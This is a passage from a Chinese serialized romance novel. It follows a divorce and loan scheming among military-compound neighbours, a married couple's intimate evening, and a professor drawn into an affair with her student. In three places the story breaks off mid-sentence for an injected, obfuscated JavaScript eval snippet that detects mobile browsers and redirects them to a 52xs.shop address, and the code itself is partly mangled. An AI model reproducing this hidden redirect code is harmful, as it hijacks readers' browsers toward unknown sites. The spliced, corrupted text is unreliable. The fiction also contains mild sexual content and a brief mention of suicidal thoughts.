他赶紧穿上衣服下楼。 孙谦的儿子又哭了,这是第几次了? 他黑着脸,敲了敲门。 孙谦一脸歉意的出来:“对不起,我妈不会带孩子,最近天宝日夜颠倒了,都是我不好,没有及时发觉,我明天带孩子去医院看看,怎么调整一下。” “你妈要是不会带,你请个保姆吧。”吴旭东其实是很怀疑的,毕竟孙谦的妈妈是个教师,怎么会在带孩子上这么愚蠢呢? 搞不好是故意的。 孙谦想了想,也行:“那你给我推荐个人?靠谱一点的。” “你自己找,我又不是你妈。”吴旭东翻了个白眼。 孙谦叹了口气:“好,我自己找,你给我三天时间行不行?” “一天!今天是最后一次,明天晚上再这样,你这辈子都别指望我介绍你跟我大哥做生意了。”吴旭东放下狠话,扬长而去。 孙谦无奈,只好抱着孩子,耐心地哄着。 冯薇也被吵醒了,一脸怨念的走到客厅。 她还是连级干部,一室一厅的房间住不下太多人,所以每天晚上,婆婆都会去招待所那边住着。 她很不满:“你妈是不是故意的?天天晚上折磨人?” “别乱说,我妈怎么会故意呢?日夜颠倒对孩子的身体也不好啊,她是孩子奶奶,不会这么做的。” “那你说怎么回事?我妈带了好几个月都没有这样,你妈才带了多久,孩子就日夜颠倒了?不是故意的谁信啊。她还是教师呢,这点事都做不好?” “你能不能不要小人之心?你要是觉得你妈带得好你让她带好了。” “行啊,你可别后悔。” “你也别后悔,她来我就走。不过了。”孙谦恼了,这破日子,一起完蛋吧。 冯薇气得一巴掌扇了上去:“你给我滚,现在就滚,这孩子从现在开始跟你没关系了,滚!” 孙谦自尊心强,挨了一巴掌还能说什么,立马收拾收拾,拎包走人。 大晚上的动静还不小,把刘敏杰都给吵醒了。 她出来看了眼,见这两口子才消停了几天又吵,不禁叹了口气。 算了,都处成怨偶了,还是不劝了吧。 关上门,她跟曹景润嘀咕:“我估计这次是真的要离了。白瞎我周姐一番苦心了。” “我早就说了,孙谦的妈跟冯薇的妈一样能作。两个人肯定长不了。”曹景润哈欠连天的,伸出胳膊把老婆扒拉到怀里,“睡吧,他们都是成年人了,劝得了一次,劝不了一辈子。随便他们去吧。” 第二天,孙谦的妈果然没来,冯薇的妈来了。 晚上特地把孩子带去了招待所住着,就为了让冯薇好好睡一觉。 不到三天,孩子的作息就调整过来了。 周子琰一觉到天亮,训练完回来吃饭。 她还挺意外的:“冯薇的妈虽然对孙谦不好,但是带孩子带得比孙谦的妈好。” “孙谦那个妈,故意的。”吴旭东正在陪阿澈吃早饭,谈三娘在旁边喝粥。 周子琰过来坐下:“妈,早。” 谈三娘笑笑:“你妈妈说你喜欢吃桂花芝麻汤圆儿,尝尝。” “唔,好吃。妈你辛苦了。”周子琰勾住婆婆的脖子,在她额头上亲了一口,“你放心,我妈在那边也会帮着北北的,你好好陪阿澈就行。” “傻瓜,我当然放心啦。”谈三娘眉开眼笑的。 她这小儿媳妇除了太忙,哪里都好。 一点也不跟她见外,开心了就抱抱亲亲,很喜欢直来直去的表达情感。 难怪东东现在变得这么开朗了。 这就跟个小太阳一样,时刻温暖人心。 连她都会上瘾的。 前两天回去帮大儿子他们操办满月酒,两天没见着子琰,她都想得厉害。 更不用说东东了。 难为这小子了,子琰上次出任务离开了大半年,他居然能心平气和的忍下来。 高质量的婚姻养人啊。 她笑着把小菜往周子琰面前推:“腌萝卜,酸甜口的,尝尝。” “唔,好吃。妈你真好。”周子琰吃饱喝足,赶紧去部队。 走到二楼的时候,她看到了孙谦的妈妈领着孙谦,正在往外面搬东西。 冯薇的妈也不拦着,就那么冷眼旁观。 至于冯薇,也是铁了心了。 看到周子琰,笑了笑:“周姐,等我,一起。” 周子琰暗道糟糕。 到了楼下院子里才问:“怎么了这是?” “不过了,离婚。”冯薇想清楚了,这破婚早点离了吧。 她再也不想委屈自己了。 周子琰有些意外:“是为了孩子日夜颠倒的事吗?” “冰冻三尺非一日之寒。周姐,这段时间害你跟着也没少受气,真是不好意思。我想通了,没必要为了孩子一再忍让,这个男人真是糟糕透顶,我不要了。”冯薇挽着周子琰的胳膊,“周姐回头给我介绍个好的吧,我想找个不作的男人,踏踏实实过日子的。” “好,我帮你留心。”周子琰叹气,没想到他们两个还是走到了这一步。 冯薇倒是看开了,笑道:“我不要二婚的,也不要有孩子的,帮我找个未婚的吧。虽然我知道这样对方可能有点吃亏,可是你想,要是我跟对方都有孩子,那以后肯定要各自算计,闹得头破血流。不如找个初婚的,这样我可以再生一个,他看在亲生孩子的份上,会对天宝好的。” “嗯,我帮你打听看看。”周子琰并不歧视离婚的女人。 也不觉得冯薇是在天方夜谭。 不信看看她爸妈,就是最好的例子。 只是…… 冯薇带的毕竟是个儿子,这年头的年轻人普遍自私,想找个跟她爸爸一样心胸宽广的男人,不容易。 只能慢慢打听。 晚上冯薇回来,把写好的离婚协议给孙谦看。 孙谦没有签字,只是拿上协议去了招待所:“我考虑一下。” 94. 债务 吴旭东晚上回来,走在路上就被何东升叫住了。 “小吴,你来,问你个事儿。”何东升笑呵呵的,还抓了把糖果给阿澈。 吴旭东不想让孩子蛀牙,只收了一颗,剩下的还了回去。 他看了看手表:“走吧,去我家说。” “还是去我家说吧。”何东升毕竟暗恋周子琰多少年,他总是下意识减少跟周子琰碰面的可能性。 吴旭东想了想,叮嘱自己妈上楼小心点,随后去了何家。 何政委不想打扰年轻人,彼此打过招呼,便直接进了卧室。 何东升热情的招呼吴旭东坐下,瓜子水果都摆上,这才开口:“听说高新区想建个医药城,不过资金有点问题。打算面向社会筹集一部分,你有没有兴趣?” “算股份吗?”吴旭东其实也听到风声了,只不过他现在的资金都放在科研上了,未必能拿出很多钱来投资医药城。 何东升点点头:“算,以后直接分红。去年我做买卖亏了,不过家里愿意支援我一点儿,目前我能拿个五万左右。” “你想问我借钱?”吴旭东懂了,怪不得要来何家说呢,万一他不肯借,何东升也不至于丢人丢到周子琰跟前。 也不会让周子琰难做。 怎么说呢?这人确实比诸葛光懂事多了。 对面的何东升也没想到吴旭东一下就猜到了,有点难为情,点了点头。 吴旭东还是挺欣赏这位老兄的,起码做事坦荡,不搞那些虚头巴脑的,便问道:“要多少?” “五万能行吗?我凑个整,最迟今年年底,肯定还你。最近药材市场行情好,资金回笼很快的,而且我会给你打欠条,你放心。”何东升很想入股,毕竟这是一劳永逸的事儿。 将来不管他的药材买卖亏了还是赚了,起码都能有一笔稳定的收入,源源不断的,很安心。 吴旭东还以为他要狮子大开口,结果只借了区区五万。 他笑着起身:“取款要预约,明天我去厂里看看现金够不够,不够的话那就三天之后。总之,回头我给你打电话。” “你自己入不入啊?机会难得,你好好考虑一下。”何东升还是挺有格局的,要发财一起嘛。 吴旭东摆摆手:“考虑一下。” 回到家里,才发现孙谦也在。 这人已经铁了心要离婚了,这会儿跑过来干什么? 难不成也听到风声了,想借钱? 吴旭东头疼。 孙谦脸皮厚,也不跟他绕弯子,直接把欠条都打好了,往他面前推:“我想找你借点钱,三万五万的都行,金额你填,字我签好了。” “投资医药城?”吴旭东放下公文包,摘了领带。 孙谦有点意外:“你已经知道了?” “嗯。”吴旭东坐下,看了看欠条。 字还是可以的,就是人不咋地。 算了,同学一场,他问道:“三万够不够?” “有点少,不过我也知道你摊子铺得大,手里的流动资金未必有太多,三万也行吧,我再找家里凑点儿。这样我以后跑药材,不管赚了赔了,起码天宝的抚养费是不缺的。”孙谦难得不绕弯子,直接把他的真实想法吐露出来。 吴旭东却问:“你离婚了没有?现在你借的钱,算你们夫妻共同债务,还是你个人的?” 孙谦沉默了。 难怪吴旭东能做大老板,连这种事都要问个清楚。 他实话实说:“还没有,离婚协议写好了,不过有几个条款我不是很愿意,还在跟冯薇商量。” “那就是共同债务,你回去跟冯薇商量好了再说吧。”吴旭东是体面人,可不想帮着孙谦偷偷给冯薇背上一笔债务。 孙谦郁闷了:“马上就离了,有什么区别呢?” “当然有,你这欠条的日期是今天,要是以后这钱你还不上,起诉冯薇帮你还怎么办?我这不是害人吗?你赶紧的,回去跟冯薇商量好了再来。”吴旭东直接赶客。 孙谦无奈,起身离开,没去找冯薇,直接回了招待所。 孙母没想到诡计没有得逞,骂骂咧咧的:“那个吴旭东就是唯恐天下不乱,我看他就是小气,不想借你钱。” “他不是这样的人。”孙谦心里清楚,是他自己考虑欠妥。 但是机会难得,他不想错过,思来想去,还是打算去找冯薇。 孙母却不让,一把将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14014488|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他扯了回来:“找她做什么?你受气受得还不够多?光是一条,孩子不跟你姓,你知不知道家里多少人在笑话你?说你连上门女婿都不如呢!” 孙谦听这话听得耳朵起茧子了,嫌烦,还是往外走去。 气得孙母骂道:“我怎么生了你这个白眼狼?你也不想想,你找了冯薇,以后离婚了分红还得分她一半儿,她也配?你不如听我的,跟我回家,找你叔叔伯伯凑点儿,打了欠条以后还能让冯薇帮你还债!你总不能结婚一场,什么也捞不着吧!” 孙谦沉默了,他回头看着自己泪眼朦胧的妈,最终还是妥协了。 吴旭东没等到他回来,一猜就知道孙家母子想算计冯薇。 他跟周子琰说了一声,周子琰赶紧去楼下,如此这般的转告一番。 冯薇听得心寒,不禁苦笑道:“这个狗男人,看来是想偷偷给我弄点债务背背了。畜牲!” “怎么处理你考虑清楚,别吃这个亏。”周子琰叹了口气,能帮的不多,尽力了。 冯薇很是感激,毕竟孙谦跟吴旭东是同学,按理说,他们大概率会互相包庇,没想到他会第一时间告诉她这件事情。 她拉着周子琰的手,红了眼眶:“多亏姐夫是个公道人,要不然我还蒙在鼓里。姐你回去吧,这事我会找律师处理的,狗男人,我非要让他吃点苦头才好。” 周子琰拍拍她的手,又安慰了一番,这才回去了。 几天后,吴旭东自己投了三十万进医药城。 月底冯薇跟孙谦还是把婚离了,具体怎么商量的就不得而知了。 总之,孙谦没再来借钱。 倒是听说冯薇自己投了五万,钱是哪儿来的就不得而知了,也许是以牙还牙,弄了个共同债务。 吴旭东晚上回来,跟周子琰说起了商鼎科技的乐子:“商春深要倒霉了。” “怎么?”周子琰好奇,这人不是挺有背景的吗? 吴旭东拿出一张照片:“他不是爱拿望远镜偷窥我这边吗?小宋以牙还牙,也盯着他那边,躲在窗口,隔着百叶窗拍的,正好拍到他在办公室跟秋瑶乱搞——” 周子琰接过来一看,乐了。 坐等内讧狗咬狗。 95. 恩爱(二更) 吴旭东从来就不是被动挨打的人。 所以小宋的所作所为,都是他默许的。 商场如战场,总不能对面偷窥了他,他还傻愣着不还手吧。 毕竟,商春深这公司开的,摆明了就是要跟他打擂台的。 他自然不希望商春深得逞。 现在他们内部出了问题,真是再好不过。 再说了,那个秋瑶,始终是个隐患。 如果她对周子琛一往情深,说不定还真的是个威胁,结果她自己把男女关系搞得一塌糊涂,那真是自毁城墙。 周子琰很是松了口气:“网络留下的遐想空间太大了,很多情愫经过想象力的美化,很有欺骗性。现在这样,我倒是乐见其成的。” “那我明天把照片拿给子琛。”吴旭东还有个想法,不过目前还不到时候,不禁叹了口气,“可惜了,现在还不能动彭家豪。” “别急,他这种人,为了自己上位,必然会踩踏其他人的骸骨。他这些年树敌不会少的,现在别人不敢动他,不过是畏惧他老丈人。等他老丈人失势了,他也就完了。”周子琰还是知道北京那边的一些情况的。 有些人爬得快,是靠实打实的成绩。 而有些人,靠的是利息交换,裙带牵扯。 彭家豪的风光和体面都是用他的二两肉换来的,只能短暂辉煌,不可能长久璀璨。 吴旭东要是像他那么无耻,还办什么厂子,开什么公司? 直接躺平,在老丈人的功勋堆上吸血就行了。 可惜他不是这样的人。 自然也就看不起彭家豪这样的寄生虫。 还好,周子琰尊重他,从来没提让他躺平摆烂的话。 这份理解和尊重,比什么甜言蜜语都有分量。 他搂着周子琰,细长手指摩挲着她小麦色的皮肤:“琰琰,短时间内我都动不了他,要是我业务上不小心得罪了他,你会不会生气?” “你怎么会问这种傻问题?”周子琰笑了,干脆躺在他腿上,换了个舒服的姿势。 头顶的日光灯很亮,冷白皮的男人安静地看着她。 年岁渐长,他那满腔的赤子之心却不曾减退分毫。 做什么都要考虑他的小家,是个踏踏实实的贤夫良父。 他那锐利的五官,因为美满的婚姻和可爱的女儿而平添了几分柔和。 不变的,是那种不服气的倔强和任他风吹雨打我自勇往直前的韧性。 这就像是一股强力的磁场,足以影响他周围的人和事,把他想要的东西,一点一点吸过去,牢牢抓住,不松分毫。 这么一个男人,唯一的软肋就是她和孩子了。 她笑着勾住男人的脖子,亲吻他好看的双唇。 炽热的呼吸喷吐在他脸上,让吴旭东的神智散做一片白雾。 几乎是本能的,他扣住周子琰的脖子,用力回吻。 一吻终了,男人白净的面庞像是熟透的蜜桃,水润香甜。 周子琰眸光潋滟,去蹭他的脸颊,蹭他刚冒出来的胡茬,最后埋首在他的锁骨处。 促狭的舔了一口,动情的男人不禁从唇齿间溢出一声闷哼。 耳边是女人笃定的回答:“你就是把天捅穿了,我也跟你共进退。” “我不会那么鲁莽的。”吴旭东呼吸紊乱,满脑子都只剩下黄色废料。 干脆把他老婆抱起来,去卧室详谈。 谈什么? 谈谈今天晚上,要不要来点别样的情调。 他去冲了个澡,裹上浴巾后催促周子琰去洗澡。 等待的时间里,他打开衣柜门,找出一条粉色的长丝巾。 从脖子上缠起,经过腋下,绕向两胁,最后从心口绕回来,打了个漂亮的蝴蝶结。 未免惊喜太过直白,他把浴巾再次披上,特地挡着那一缕春光。 周子琰进来还纳闷儿:“你怎么还披着浴巾呢?” 床上坐着的男人却一动不动,闻所未闻。 周子琰狐疑地走过去,右手摁在他肩上,左手拿起旁边的衣服,想帮他擦擦,直接套上。 结果浴巾一拿开…… 周子琰什么时候见过这么娇羞含情的可爱男人? 那春风微醺的面庞,那迷离含情的眸子,那粉色娇嫩的蝴蝶结,以及…… 那早就急不可耐的热情。 周子琰真想拿个相机给他拍下来。 这么想了,也就这么做了,藏起来,以后要是出任务了,拿出来回味回味也是好的。 拍完照片,她那娇羞的丈夫已经失去了耐心,摁着她的手,一起扯开了丝巾:“琰琰……今天二月二龙抬头,喜欢我送你的礼物吗?” 周子琰勾住丝巾,反手将它蒙住了男人的眼睛,嗓音里带着惑人的甜:“喜欢,我的小东真好,每天都有惊喜。姐姐今天也送你一个礼物吧……” 至于礼物是什么,吴旭东很快就明白了。 意识一片模糊的时候,他紧紧地抱住了怀里的女人,这辈子能老死在她怀里就是最大的圆满了。 第二天,他精神抖擞的去上班。 经过楼下的时候,曹景润正好买菜回来,看到他脖子上旖旎的吻痕,不禁老脸一红。 心说姐夫跟周姐真恩爱啊,孩子都有了,还这么缱绻。 他跟刘敏杰要努力了。 他笑着打了声招呼:“姐夫,早啊。” “早!”吴旭东器宇轩昂,走路都带着风,身后的阿澈牵着奶奶的手,很快落后好几步。 不过不急,爸爸一定会在楼梯口等着。 她晃悠着两个小辫儿,不急不慌的去冯薇家门口,打算看看天宝。 弟弟弟弟的转了两圈,没看到人,这才一脸失望的来找爸爸。 “爸爸,弟弟?”小阿澈满脑子困惑。 吴旭东一把捞起地上的小乖宝,解释道:“冯阿姨离婚了,不能住这里了。” 小阿澈失望极了,小脸儿都拧巴了。 可是她不想让天宝走啊。 一时委屈,小嘴一撅,想哭。 大有其母当年的风范。 吴旭东抬手,擦了擦女儿伤心的泪水。 恍惚间,昔日分别的画面与此刻重叠。 当年他离开周子琰的时候,周子琰抓着他的手,一直哭,一直哭,一直送到码头。 彼时日暮黄昏,海水滔滔,海鸥声中卷起浩荡离愁。 此时却是旭日东升,海水依旧,海鸥却已经换了一批,一批,又一批。 蓝天下,海风中,小小的稚童,也体会到了离愁别绪的无奈。 哭得气势磅礴,地动山摇。 人类那荡气回肠的情感,生生世世,就是这样平静却又惊心动魄的传承了下去。 吴旭东掂了掂怀里的稚童,亲了亲她的额头:“爸爸知道天宝在哪里,走,带你去找他。” 稚童的哭声戛然而止。 小阿澈兴奋地搂着爸爸的脖子,连着泪水一起亲了上去:“爸爸,弟弟!” 吴旭东去了招待所。 那是领导考虑到冯薇的孩子还没有断奶,免费让她妈妈和孩子再住半年。 冯薇晚上则回女兵营房住。 看到天宝的一瞬间,小阿澈直接扭动小身板儿,从爸爸怀里滑了下去。 一刻也不想等,扑上去趴在婴儿床前,笑靥如花。 吴旭东忍不住去想。 当年要是爸爸没有多事,再次调回海岛,周子琰跟他重逢的时候,一定也会这么开心的吧? 挺好的,虽然他错过了周子琰的十七年,却可以完完全全的拥有女儿的十七年,甚至更多。 二十年,三十年,都不是没有可能。 他们只有这一个女儿,老了还不是要帮女儿带孩子吗? 生生不息,生生不息。 真好。 他耐心地等着。 等待他牙牙学语的幼女,跟天宝进行着天书般的加密通话。 等待他热衷交际的宝贝,结束问候,一蹦一跳的跑回他身边。 小脑瓜上的羊角辫儿一晃一晃的,可爱极了。 吴旭东蹲下,张开双臂。 抱住的不止是他和周子琰的宝贝女儿,更是他和周子琰那充满缺憾,却又柳暗花明的人生。 没忍住,蹭了蹭女儿的小脸蛋儿。 毫不意外,收获了女儿嫌弃的闪躲。 臭爸爸,胡茬太扎人啦! 哈哈哈!吴旭东心情好得不能再好,抱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14019501|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女儿,大步走,不回头。 * 周子琛正在写字间发呆。 他上班的时候在门口看到秋瑶了。 这个女人还是一如既往的明艳娇俏。可能是谈恋爱了,穿得格外妖娆动人。 深v的紫色连衣裙,外面披着鹅黄色的呢子大衣,脚下一双皮靴,走在众生步履匆匆的街头,有着不同于一般打工人的闲散和从容。 她肯定不是普通的打工人,因为她还戴了价格不菲的首饰。 宝格丽的碎钻流苏耳环,同款主题的碎钻项链。 阳光从不吝啬对美人的青睐,将那碎钻的光彩烘托得熠熠生辉。 闪瞎了周子琛的眼睛。 很好,有靠山了,应该不会再来纠缠他了。 这么一副好皮囊,也不知道被哪个油腻男人给糟蹋了。 也许是商春深,也许是幕后的彭家豪? 也许都有。 正胡思乱想,有人在他身侧停下。 抬头一看,喜悦冲散了那一丝惆怅,他笑着站起来,接过小阿澈:“姐夫,找我有事?” “来我办公室。”吴旭东直接走开了。 格子间人多眼杂,也有刚毕业的小女生对他暗送秋波,像在仰望一座可望而不可即的大山。 他不舒服,只能走开。 他这辈子只会对一个女人心动,他会时刻洁身自好。 但他是老板,在公司对员工臭着脸不是什么好事,毕竟这是一个年轻人扎堆的公司。 所以快速走开就是最好的策略。 不给任何的遐想空间,这样最好。 不过,哪怕只是匆匆路过,也有人注意到了他脖子上的旖旎风光。 茶水间的声音充满了羡慕—— “吴总跟他老婆好恩爱啊,衣领子都遮不住吻痕了。” “听说他老婆是部队的?那他不是很寂寞?” “不会啊,听说他老婆级别挺高的,他一结婚就去随军了。” “这么厉害吗?” “对啊,一般人他也看不上吧,你看他走路都带着风,挺傲气的一个男的。” “你们见过他老婆吗?” “没有,行政部的周子琛好像是他小舅子,你们又不是不知道周子琛有多好看,亲姐弟的话,不会差到哪里去的。” “那他老婆肯定好看!” “是啊,周子琛太帅了,帅得我走路都撞墙了。他姐姐肯定也好看!” 正议论着,研发部的岑哥来接水,几个小女生赶紧闭嘴,一哄而散。 惹不起惹不起,岑哥就是铁面无私的岑包公,看到有人上班时间闲聊,肯定会反应给考勤部门,扣他们工资的。 * 吴旭东办公室。 周子琛毫无察觉的坐下,扭头跟阿澈玩起了积木。 吴旭东清了清嗓子:“子琛,你跟秋瑶最近有联系吗?” “没有。”周子琛毫不犹豫的回答,继续摆弄积木。 “你……”吴旭东斟酌着用词,“你对她现在什么看法?” “没看法。又不是我什么人,随便她好了。”周子琛不是没有动过举报的念头。 不过他知道,秋瑶敢来,说明手续都办好了,举报也没用的。 不如耐着性子,看看她到底要玩什么把戏。 吴旭东听他这么说,放心不少,随手把照片扔给了她:“据我所知,她在北京的时候已经被彭家豪包.养了,现在又跟商春深不清不楚。你离她远点儿。” 周子琛接过照片,即便他早有准备,但还是被恶心到了。 “还好有窗帘挡着了关键部位,要不然我就对不起我以后的老婆了,我的眼睛脏了。”周子琛直接把照片扔了。 嫌弃溢于言表。 吴旭东彻底放心了,问道:“你有没有跟秋璃说一声。” “她快高考了吧,等她高考完。我不想打扰她学习。” “好。” 说话间,对面的秋瑶刚从商春深身上起来。 她抓着男人的衣领子站稳,理了理裙摆:“你说你想借壳生蛋,什么意思?” “扯彭家豪的幌子,生我的孩子。只要你听我的安排,咱们可以把彭家豪吃得连骨头都不剩。” 96. 不伦 一场倒春寒,让北京的二月滴水成冰。 雷小雪穿着鼓鼓囊囊的桃粉色面包服,扎着双马尾,抱着课本,不疾不徐的向教室走去。 快到教务大楼的时候,一辆黑色的轿车缓缓经过。 车窗关得死死的,看不清里头都有谁。 不过她认得出来,这是她带班老师的车,很低调的桑塔纳,车牌号她都烂熟于心了。 车子在教务大楼门前停下,从副驾下来一个四十左右的女人。 上身是一件咖啡色的呢子大衣,里面搭配的是鹅黄色的羊绒衫,下身是一条蓝咖黄三色的格子裙,脚上是一双牛皮高跟长筒靴,同样也是咖啡色的。 很用心的配色,很精致的穿搭。 配上一条杏色的羊绒围巾,越发显得成熟干练。 是她那个严格又冷酷的带班老师徐如菡没错了。 女人关上车门,司机不知道是谁,默默地把车开走了。 雷小雪客气地打了声招呼:“徐教授,早。” 徐如菡站在台阶上,面无表情地看着她,微微颔首,算是应答。 雷小雪习惯了,一点也不失望,她笑着摆了摆手,转身离去。 女人却盯着她的背影,若有所思。 直到她消失在教学楼入口,徐如菡才默默叹了口气。 恨屋及乌是不对的,可是一想到她男人新勾搭上的是雷小雪的室友,她的心里还是有点别扭。 希望雷小雪这个尖子生可以保持本心,不被金钱动摇吧。 徐如菡掸了掸身上飘落的雪花,转身进去了。 供暖还没停,办公室里很是暖和。 徐如菡去暖气片上烤了烤手,盯着窗外的小雪,神思恍惚。 这段婚姻早已走到了尽头,还没有离,不过是考虑到两个女儿还没有毕业,前途未定,需要再等等。 可是要等到什么时候呢? 别人家夫妻走到陌路,顶多是同床异梦,她家呢? 连同床都没了。 当然,她也不指望那个脏男人回来,可是回不回来很能说明狗男人的态度。 装都不装的时候,显然就是事情彻底脱离控制的时候。 她只能隐忍,减轻舆论的影响,以免伤害她的女儿们。 正叹气呢,办公室门被人敲响。 一个帅气的男学生走了进来。 “教授,这是我的毕业设计稿,初稿,您帮我看看?”男生叫童辉,高高瘦瘦的,架着一副金框眼镜,这么冷的天,也不穿棉服。 上身是一件黄色羊绒衫,外披咖啡色呢子大衣。 下身是一条藏青色的西裤,脚上则是一双黑色的雪地靴。 单看上半身,好像跟徐如菡穿的是情侣装。 他拿着卷起来的图纸,自顾自反锁了办公室的门。 徐如菡没有吭声,默默垂下眼睑,转过身去,依旧看着窗外的小雪。 童辉也不着急,就这么站在办公桌旁边,耐心等待着。 时间一分一秒过去,办公桌上的沙漏该翻转过来了。 童辉默不作声的推了推,犹豫片刻,还是拿起来将沙漏调了个个儿。 动静不大,在这个安静的办公室里,却足以提醒徐如菡,她身后还杵着一个男大学生呢。 天色阴沉沉的,她几乎可以看到玻璃窗上的倒影。 俊秀的面庞,痴缠的目光,以及好几次举起又放下的手臂。 最终还是克制住了,只是杵在那里,默默的盯着她的背影。 时间很慢,滴滴答答。 直到隔壁的教学楼传来下课铃声,漫长的沉默就此结束。 徐如菡丢了的魂魄猛然回归,她转过身来,接过童辉手里的设计稿,坐下埋头细看起来。 而童辉,也默契的转身,将门锁打开,方便外面的人一推就进。 然而并没有人进来。 十分钟后,上课铃响,一切回到了十分钟之前的世界。 徐如菡把批改好的设计稿卷起来,推向办公桌的另一头,起身回到窗口,只留下一个孤独又落寞的背影。 童辉却没有走,依旧站在旁边,倔强地等待着什么。 雪越下越大,呼啸的风声,是给春天最后的送葬曲。 这场大雪过去,定然是个春暖花开的好时节,一切都会沐浴在温暖和灿烂中,万物复苏,生机勃勃。 只有她这糟糕的婚姻,还要继续躺在坟墓里,一天,一天,又一天,不断奏响那无声的丧钟。 最终还是年轻人沉不住气,故意咳嗽了一声。 徐如菡盯着玻璃窗上的倒影,终于开口关心了一句:“雪大,多穿点。” “你也是。”童辉似乎很容易满足,有这一句就足够了。 他拿起设计稿,转身准备离去。 却被女人叫住:“等等。” 回头的瞬间,一条杏色的羊绒围巾飞了过来,不偏不倚,正好落在他的脖子上。 上面还残留着女人身上的香水味,淡淡的薄荷清香,很好闻。 童辉像是瞬间跌落在蜜罐里,喜笑颜开:“谢谢教授。” 打开门,欢快的离去。 痴心人的脚步声带着前所未有的愉悦和轻松。 徐如菡默默叹了口气,关上门,枯坐在办公桌前。 直到下一场铃声快要响起,这才像个设定好模块的机器,拿起桌头的课本,推门出去。 “起立。”班长雷小雪第一个站了起来。 其余学生稀稀落落的,歪歪扭扭,哈欠连天。 徐如菡冷着脸:“重来。” 所有人坐下,重新开始。 还是东倒西歪,不像个样子。 “再来。”说话间,严肃的老师干脆打开了门窗。 冷风呼啸,瞬间把瞌睡虫赶跑。 雷小雪缩着脖子,声音清脆,中气十足:“起立!” 这次终于满意了,徐如菡点点头,让学生们坐下。 讲课的时候一点情绪都听不出来,提问的时候,也完全看不出来她对任何学生有任何的偏颇。 一视同仁的冷酷,一碗水端平的严肃。 就连班长雷小雪,回答错了问题也是要挨呲儿的。 所有人都战战兢兢,生怕自己被点到。 心虚的女生更是头都不敢抬,闷声在空白的纸上涂涂画画。 徐如菡看了她一眼,继续讲课。 一个老师跟学生置气,学生固然丢人,老师就能光荣到哪里去吗? 何况这个学生还上了她男人的床。 事情只会更加难堪,更加为人不齿。 她要脸,只能当做无事发生,以前怎么讲课,今天还是怎么讲课。 直到下课,她那斗志昂扬的精神才瞬间枯萎。 回到办公室,扔了课本,关了门。 她痛苦的跌坐在座椅上,抱着自己的胳膊,无声叹息。 眼泪早就流干了,为了那么一个男人,也不值得。 只是,心里的泪海却源源不断,咆哮澎湃。 人不能,至少不该,这么不要脸。 她到底是怎么瞎了眼,选了那么一个男人。 只是为了那副好看的皮囊吗? 可是那副皮囊,如今已经发福,变形,就连脸盘子都大了一圈。 更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14023895|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用说那粗如水牛的脖子,动三下就结束的真本事。 她徐如菡是多么骄傲的一个人,如今却离不得婚,也发不得火。 只能继续维持人前恩爱的假象,维护自己那岌岌可危的尊严。 她到底不是铁打的,也不是石头做的。 一节大课,加上课间十分钟,足足一百分钟。 她就那么对着芸芸学子,对着里面藏匿的小偷,不能露出任何的蛛丝马迹。 她好累,好累。 累得想要自绝于当下,找个高楼,纵身一跃,岂不是解脱? 可是孩子怎么办? 她们还在上学。 她死了,孩子跟了后妈,前途更是渺茫。 成年人的世界,向来不是以个人的意志力为转移的。 有了牵挂的人,有了在乎的事,自己的那点喜怒哀乐,就成了最最微不足道的存在。 可是她真的好累,她快撑不下去了。 一道冷风钻进来。 办公室的门打开又合上了。 随之而来的是逐渐靠近的脚步声。 年轻的男大学生,提着热乎的饭菜来了。 还带了一个保温杯,里面是刚泡的枸杞。 “教授,谢谢你送我围巾,我给你带了饭,趁热吃。”童辉自顾自张罗起来。 堆叠的课本和作业,全部转移到桌子的一头,空出来的大片空间,足以让他摆放亲自做的三菜一汤。 他把筷子递过去,沉溺伤心事的女人却一动不动。 他只能夹了一块红烧肉:“教授,我就要去实习了,要等六月毕业才能回来。你吃一口好吗?” 女人像是一座石雕,本能的抗拒着。 这不道德。 她是个老师,而他是个学生。 虽然他即将毕业了,可是学生就是学生。 何况,她已婚,已育。 她四十二了,他才二十四。 这是多么讽刺的世界。 多么滑稽的缘分。 孽缘。 不要碰,会万劫不复。 她别过头去:“你走吧,我自己来。” “我亲手做的,谢谢教授五年来的栽培。教授,吃一口吧,一口我就走。”痴心的学生,倔强的坚持着。 好吧,就一口。 徐如菡回头,盯着那肉汁饱满的小方块,拿起手帕,擦去唇膏,低头轻轻咬住。 “味道不错,谢谢,快去吃——”话音未落,嘴里的红烧肉就变了滋味。 年轻人炽热的呼吸纠缠上来,特地刷过的牙齿带着薄荷的清香,连带着红烧肉的甜美,一起在她舌尖碰撞,交织。 她甚至忘了推开,就这么瞪大了眼睛,任由放肆的学生,在她口中攫取她的炽热与温情。 